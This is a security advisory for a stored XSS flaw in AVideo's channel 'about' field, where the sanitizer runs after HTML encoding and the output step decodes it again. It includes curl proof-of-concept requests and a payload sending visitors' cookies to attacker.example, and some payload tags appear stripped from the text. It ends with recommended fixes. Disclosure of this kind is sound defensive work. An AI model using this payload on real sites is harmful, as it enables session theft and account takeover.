GHSA-ghx5-7jjg-q2j7 AVideo vulnerable to Stored XSS via html_entity_decode() Reversing xss_esc() Sanitization in Channel About Field

• Packagist wwbn/avideo: <= 26.0 (no fix yet)

Summary A sanitization order-of-operations flaw in the user profile "about" field allows any registered user to inject arbitrary JavaScript that executes when other users visit their channel page. The `xss_esc()` function entity-encodes input before `strip_specific_tags()` can match dangerous HTML tags, and `html_entity_decode()` on output reverses the encoding, restoring the raw malicious HTML. Details Input sanitization in `objects/user.php:156`: ```php public function setAbout($about) { $this->about = strip_specific_tags(xss_esc($about)); } ``` The call order is `strip_specific_tags(xss_esc($about))`. The inner `xss_esc()` function (`objects/functionsSecurity.php:233`) calls `htmlspecialchars()`: ```php $result = @htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); ``` This encodes `alert(1)` to `&lt;script&gt;alert(1)&lt;/script&gt;`. Then `strip_specific_tags()` (`objects/functions.php:6623-6636`) runs regex patterns to remove dangerous tags: ```php $string = preg_replace('/]*>(.*?)/s', $replacement, $string); ``` But the regex looks for literal `` — it can never match the entity-encoded `&lt;script&gt;`. The sanitizer is completely neutralized by the encoding that precedes it. Output in `view/channelBody.php:239-246`: ```php $about = html_entity_decode($user->getAbout()); if (!empty($advancedCustomUser->showAllAboutTextOnChannel)) { echo $about; } else { ?> ``` The `html_entity_decode()` call reverses the `htmlspecialchars()` encoding, restoring the original raw HTML including `` tags. The result is echoed directly into the page without any further escaping. Secondary vector: The `` tag is not in the `strip_specific_tags` blocklist (`['script', 'style', 'iframe', 'object', 'applet', 'link']`), so payloads like `` bypass even the intended tag stripping entirely. The about field is set via `objects/userUpdate.json.php:28`, accessible to any logged-in user: ```php $user->setAbout($_POST['about']); ``` The channel page (`view/channelBody.php`) is publicly accessible — no authentication is required to view it. PoC Step 1: Log in as any registered user and update the "about" field: ```bash curl -X POST 'https://TARGET/objects/userUpdate.json.php' \ -H 'Cookie: PHPSESSID=ATTACKER_SESSION' \ -d 'about=&user=attacker&pass=password123&[email protected]&name=Attacker&analyticsCode=&donationLink=&phone=' ``` Step 2: Any user (including unauthenticated visitors) navigates to the attacker's channel page: ``` https://TARGET/channel/attacker ``` Expected result: The JavaScript in the `onerror` handler executes in the visitor's browser, displaying their session cookie. Alternative payload using `` tag (also works due to the sanitization bypass): ```bash curl -X POST 'https://TARGET/objects/userUpdate.json.php' \ -H 'Cookie: PHPSESSID=ATTACKER_SESSION' \ -d 'about=fetch("https://attacker.example/steal?c="%2Bdocument.cookie)&user=attacker&pass=password123&[email protected]&name=Attacker&analyticsCode=&donationLink=&phone=' ``` Impact • Session hijacking: Attacker can steal session cookies of any user (including administrators) who visits their channel page • Account takeover: Stolen admin session tokens allow full administrative access to the AVideo instance • Phishing: Attacker can inject fake login forms or redirect users to malicious sites • Worm potential: Stored XSS could modify other users' profiles programmatically, creating a self-propagating worm This is a stored XSS affecting all visitors to any attacker-controlled channel page, with no user interaction beyond navigating to the page. Recommended Fix Option 1 (Recommended — remove html_entity_decode): The entity-encoded string is already safe for display. Remove the decode call in `view/channelBody.php`: ```php // Before (VULNERABLE): $about = html_entity_decode($user->getAbout()); // After (FIXED): $about = $user->getAbout(); ``` Option 2 (If rich HTML is intended): Reverse the sanitization order in `objects/user.php:156` and use a proper sanitizer: ```php // Before (VULNERABLE): $this->about = strip_specific_tags(xss_esc($about)); // After (FIXED — strip tags on raw HTML first, then encode): $this->about = xss_esc(strip_specific_tags($about)); ``` Option 3 (Best — if rich HTML in about is desired): Replace both `strip_specific_tags()` and `xss_esc()` with HTMLPurifier, which properly handles allowlisted HTML sanitization: ```php require_once 'vendor/ezyang/htmlpurifier/library/HTMLPurifier.auto.php'; $config = HTMLPurifier_Config::createDefault(); $config->set('HTML.Allowed', 'p,br,b,i,u,a[href],ul,ol,li,strong,em'); $purifier = new HTMLPurifier($config); $this->about = $purifier->purify($about); ``` And on output, remove `html_entity_decode()` — output the purified HTML directly.